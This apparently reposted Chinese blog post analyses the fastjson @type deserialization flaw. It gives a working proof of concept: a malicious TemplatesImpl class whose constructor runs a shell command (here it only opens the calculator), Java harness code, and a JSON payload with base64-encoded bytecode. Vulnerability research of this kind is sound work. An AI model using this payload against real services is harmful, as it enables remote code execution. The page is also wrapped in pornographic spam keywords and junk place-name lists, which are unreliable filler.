最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

親手帶你解決Debug Fastjson的安全漏洞

 更新時(shí)間:2020年06月11日 09:38:13   作者:Java架構(gòu)俱樂(lè)部  
這篇文章主要介紹了親手帶你解決Debug Fastjson的安全漏洞,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

簡(jiǎn)介

Java處理JSON數(shù)據(jù)有三個(gè)比較流行的類(lèi)庫(kù),gson(google維護(hù))、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一個(gè)開(kāi)源的json相關(guān)的java library,地址在這里,

https://github.com/alibaba/fastjson,

Fastjson可以將java的對(duì)象轉(zhuǎn)換成json的形式,也可以用來(lái)將json轉(zhuǎn)換成java對(duì)象,效率較高,被廣泛的用在web服務(wù)以及android上,它的JSONString()方法可以將java的對(duì)象轉(zhuǎn)換成json格式,同樣通過(guò)parseObject方法可以將json數(shù)據(jù)轉(zhuǎn)換成java的對(duì)象。

大概在4月18號(hào)的時(shí)候,fastjson進(jìn)行了一次安全更新,通告在這里

https://github.com/alibaba/fastjson/wiki/security_update_20170315,

當(dāng)時(shí)對(duì)這也不熟悉,斷斷續(xù)續(xù)看了幾天也沒(méi)什么收獲(主要是因?yàn)樘肆薚AT)。最近有人出了poc以及分析的文章就跟進(jìn)了一下,漏洞還是挺有意思。

fastjson簡(jiǎn)單使用介紹

工欲善其事,必先利其器,要想研究這個(gè)漏洞,就要先要了解這個(gè)fastjson是干什么的。自己研究了一下這個(gè)類(lèi)庫(kù)。User.java code如下:

testFastJson.java code如下:

package fastjsonVul.fastjsonTest;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import fastjsonVul.fastjsonTest.User;
public class testFastJson {
        
    public static void main(String[] args){
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);    
        System.out.println(mapJson);
        
        User user1 = new User();
        user1.setUsername("果汁簡(jiǎn)歷");
        user1.setSex("male");    
        System.out.println("obj name:"+user1.getClass().getName());
        
        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);
        
        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        
        //通過(guò)parse方法進(jìn)行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getUsername());
        System.out.println();
        
        //通過(guò)parseObject方法進(jìn)行反序列化  通過(guò)這種方法返回的是一個(gè)JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");
        
        //通過(guò)這種方式返回的是一個(gè)相應(yīng)的類(lèi)對(duì)象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
        
    }
}

輸出是這樣

{"key1":"One","key2":"Two"}
obj name:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"果汁簡(jiǎn)歷","sex":"male","username":"果汁簡(jiǎn)歷"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"果汁簡(jiǎn)歷"}
果汁簡(jiǎn)歷

{"Username":"果汁簡(jiǎn)歷","Sex":"male","sex":"male","username":"果汁簡(jiǎn)歷"}
obj name:com.alibaba.fastjson.JSONObject

fastjsonVul.fastjsonTest.User@18769467
obj1 name:fastjsonVul.fastjsonTest.User

Fastjson漏洞詳細(xì)

fastjson漏洞出現(xiàn)的地方也就是JSON.parseObject這個(gè)方法上面。

在最開(kāi)始的時(shí)候,只能通過(guò)類(lèi)初始化時(shí)候的構(gòu)造函數(shù)或者變量的setter方法執(zhí)行惡意代碼,像是這樣

Evil.java

import java.io.IOException;
 
public class Evil {
 
    public String getName() {
        System.out.println("i am getterName!");
        return name;
    }
 
    public void setName(String name) {
        System.out.println("i am setterName!");
        this.name = name;
    }
 
    public String name;
 
    public int getAge() {
        System.out.println("i am getterAge!");
        return age;
    }
 
    public void setAge(int age) {
        System.out.println("i am setterAge!");
        this.age = age;
    }
 
    private int age;
 
    public Evil() throws IOException{
        System.out.println("i am constructor!");
    }
}
import com.alibaba.fastjson.JSON;
 
import java.io.*;
 
public class App{
    public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
        InputStream is = new FileInputStream(filePath);
        String line; // 用來(lái)保存每行讀取的內(nèi)容
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        line = reader.readLine(); // 讀取第一行
        while (line != null) { // 如果 line 為空說(shuō)明讀完了
            buffer.append(line); // 將讀到的內(nèi)容添加到 buffer 中
            buffer.append("\n"); // 添加換行符
            line = reader.readLine(); // 讀取下一行
        }
        reader.close();
        is.close();
    }
    public static void main( String[] args ) throws IOException
    {
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
        Object obj = JSON.parseObject(Buffer.toString());
    }
}

demo.json的內(nèi)容如下

{
 "@type" : "Evil1",
 "name" : "M0rk",
 "age"  : "20"}

可以看到通過(guò)@type"特性",就執(zhí)行了構(gòu)造函數(shù)以及私有和公有成員變量的getter和setter方法。但是這貌似還并沒(méi)有達(dá)到我們想要的結(jié)果,因?yàn)樯厦娴那闆r是需要我們能夠控制Evil這個(gè)類(lèi)(一般是通過(guò)文件寫(xiě)入),目前來(lái)看不太現(xiàn)實(shí)。

還有一種方法就是將編譯好的.class或者.jar文件轉(zhuǎn)換成byte[],然后通過(guò)defineClass加載byte[]返回class對(duì)象。

安全研究人員發(fā)現(xiàn)了這個(gè)類(lèi)

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

這個(gè)類(lèi)存在如下的調(diào)用鏈可加載byte[]完成.class文件中對(duì)象的實(shí)例化,注意MailCiousClass需要繼承AbstractTranslet(在defineTransle方法中存在一個(gè)校驗(yàn))。更多這個(gè)調(diào)用鏈參考鏈接
https://gist.github.com/frohoff/24af7913611f8406eaf3

 

如上圖所示的攻擊調(diào)用棧信息,可以看到和TemplatesImpl調(diào)用鏈完全吻合,最終還是通過(guò)defineclass加載了bytecodes[]導(dǎo)致了命令執(zhí)行。

Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
 
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
 
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 
 
public class poc {
 
    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
 
    }
 
 
    public static void main(String args[]) throws Exception{
//        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
//        String evilCode = readClass(evilClassPath);
//        System.out.println(evilCode);
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
        Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);
 
    }
}

evil.json

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
  "_name" : "M0rk",
  "_tfactory" : {},
  "outputProperties" : {}
}

總結(jié)

關(guān)于這個(gè)漏洞的構(gòu)造還是挺精巧,漏洞的利用條件比較苛刻,如要能夠利用,開(kāi)發(fā)人員對(duì)json的處理函數(shù)需要是 JSON.parseObject(input, Object.class,
Feature.SupportNonPublicField);

而大部分的開(kāi)發(fā)可能用用JSON.parse(input)就了事兒了,同時(shí)使用了parseObject和
Feature.SupportNonPublicField設(shè)置的估計(jì)不多。所以說(shuō)實(shí)際環(huán)境中挖掘fastjson的這個(gè)漏洞應(yīng)該是可遇不可求。

到此這篇關(guān)于親手帶你解決Debug Fastjson的安全漏洞的文章就介紹到這了,更多相關(guān)Debug Fastjson安全漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • idea推送項(xiàng)目到gitee中的創(chuàng)建方法

    idea推送項(xiàng)目到gitee中的創(chuàng)建方法

    這篇文章主要介紹了idea推送項(xiàng)目到gitee中的創(chuàng)建方法,本文通過(guò)圖文實(shí)例相結(jié)合給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2021-08-08
  • Java 設(shè)計(jì)模式之適配器模式詳解

    Java 設(shè)計(jì)模式之適配器模式詳解

    設(shè)計(jì)模式(Design pattern)是一套被反復(fù)使用、多數(shù)人知曉的、經(jīng)過(guò)分類(lèi)編目的、代碼設(shè)計(jì)經(jīng)驗(yàn)的總結(jié)。使用設(shè)計(jì)模式是為了可重用代碼、讓代碼更容易被他人理解、保證代碼可靠性
    2021-11-11
  • Java并發(fā) 結(jié)合源碼分析AQS原理

    Java并發(fā) 結(jié)合源碼分析AQS原理

    這篇文章主要介紹了Java并發(fā) 結(jié)合源碼分析AQS原理,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2019-10-10
  • IDEA maven compile報(bào)錯(cuò)OutOfMemoryError(內(nèi)存溢出)解決及jvm分析

    IDEA maven compile報(bào)錯(cuò)OutOfMemoryError(內(nèi)存溢出)解決及jvm分析

    遇到Maven編譯時(shí)報(bào)OutOfMemoryError錯(cuò)誤通常因?yàn)槟J(rèn)的堆內(nèi)存大小不足,本文就來(lái)介紹一下OutOfMemoryError(內(nèi)存溢出)解決,具有一定的參考價(jià)值,感興趣的可以了解一下
    2024-10-10
  • Jmeter入門(mén)教程

    Jmeter入門(mén)教程

    jmeter是一款優(yōu)秀的開(kāi)源性能測(cè)試工具,目前最新版本3.0版本,本文給大家介紹Jmeter入門(mén)教程,文中通過(guò)圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友參考下吧
    2021-11-11
  • 淺談Java的LinkedHashSet源碼

    淺談Java的LinkedHashSet源碼

    這篇文章主要介紹了淺談Java的LinkedHashSet源碼,底層是鏈表實(shí)現(xiàn)的,是set集合中唯一一個(gè)能保證怎么存就怎么取的集合對(duì)象
    因?yàn)槭荋ashSet的子類(lèi),所以也是保證元素唯一的,與HashSet的原理一樣,需要的朋友可以參考下
    2023-09-09
  • Java跨域問(wèn)題的幾種后端解決方式舉例詳解

    Java跨域問(wèn)題的幾種后端解決方式舉例詳解

    跨域,是指瀏覽器不能執(zhí)行其他網(wǎng)站的腳本,它是由瀏覽器的同源策略造成的,是瀏覽器對(duì)JavaScript實(shí)施的安全限制,這篇文章主要給大家介紹了關(guān)于Java跨域問(wèn)題的幾種后端解決方式的相關(guān)資料,需要的朋友可以參考下
    2023-11-11
  • SpringBoot框架集成token實(shí)現(xiàn)登錄校驗(yàn)功能

    SpringBoot框架集成token實(shí)現(xiàn)登錄校驗(yàn)功能

    這篇文章主要為大家詳細(xì)介紹了SpringBoot框架集成token實(shí)現(xiàn)登錄校驗(yàn)功能,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2019-08-08
  • Springboot實(shí)現(xiàn)公共字段填充的示例詳解

    Springboot實(shí)現(xiàn)公共字段填充的示例詳解

    這篇文章主要為大家詳細(xì)介紹了Springboot實(shí)現(xiàn)公共字段填充的相關(guān)知識(shí),文中的示例代碼講解詳細(xì),對(duì)我們深入學(xué)習(xí)springboot有一定的幫助,感興趣的小伙伴可以了解下
    2023-10-10
  • Java NIO原理圖文分析及代碼實(shí)現(xiàn)

    Java NIO原理圖文分析及代碼實(shí)現(xiàn)

    本文主要介紹Java NIO原理的知識(shí),這里整理了詳細(xì)資料及簡(jiǎn)單示例代碼和原理圖,有需要的小伙伴可以參考下
    2016-09-09

最新評(píng)論

东宁县| 融水| 西充县| 河北区| 安远县| 如东县| 正镶白旗| 南京市| 介休市| 专栏| 蒲城县| 监利县| 广德县| 阿图什市| 石河子市| 罗江县| 姜堰市| 横山县| 贺州市| 沁水县| 陆川县| 灵石县| 吉首市| 鸡泽县| 鄱阳县| 龙门县| 阿坝| 繁昌县| 凤翔县| 齐齐哈尔市| 东至县| 云阳县| 三江| 金门县| 神木县| 稻城县| 扎鲁特旗| 昌乐县| 崇文区| 桃源县| 宜宾县|